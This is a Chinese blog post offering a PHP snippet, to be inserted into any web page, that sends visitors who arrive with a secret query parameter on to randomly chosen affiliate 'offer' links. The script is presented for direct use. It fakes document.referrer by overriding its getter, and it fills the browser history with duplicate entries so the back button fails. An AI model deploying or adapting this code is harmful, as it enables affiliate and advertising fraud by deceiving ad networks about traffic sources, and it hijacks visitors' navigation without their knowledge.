fakerefer实现任意页面随机跳转offer代码

微信扫一扫,分享到朋友圈

fakerefer实现任意页面随机跳转offer代码
收藏 00
<?php
//本代码添加到任意html上面即可,不影响正常html的使用。
//$referer = $_SERVER['HTTP_REFERER'];
$to = $_GET['t'];
//如果不是从a站lp页面来的并且t参数不等于1024,那么就不执行js跳转
//if ($to=='1024' and $referer == "https://baidu.com") {
if ($to=='1024') {
    //当前lp所在页面地址
//    $link = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];//如果是二级域名一定要填写,如果是根域名或www那就去掉test
    $link = 'https://' . $_SERVER['HTTP_HOST'];//如果是只要主页不要后面的.php或目录,可以去掉$_SERVER['PHP_SELF']

    $togo = array('http://www.baidu.com','http://www.qq.com','offer推广链接','offer推广链接','offer推广链接');//根据个人实际情况更改,有几个offer推广链接就填写几个,多余的删除即可
   
 $i=array_rand($togo,1);
    echo '<script>
        var hUrl = "'.$link.'";
        if (hUrl!=""){
            var htxt = "Wait a second ...";
            history.replaceState(null, htxt, hUrl);
            history.pushState(null, htxt, hUrl);
            history.pushState(null, htxt, hUrl);
            history.pushState(null, htxt, hUrl);
    
            delete window.document.referrer;
            window.document.__defineGetter__("referrer", function () {
                return hUrl;
            });
            window.location.replace("'.$togo[$i].'");
            location.href ="'.$togo[$i].'";
        }
    
        </script>';
}

?>

 

一个热爱互联网的咸鱼

你也可能喜欢

发表评论

您的电子邮件地址不会被公开。 必填项已用 * 标注

提示:点击验证后方可评论!

插入图片

热门

    抱歉,30天内未发布文章!
返回顶部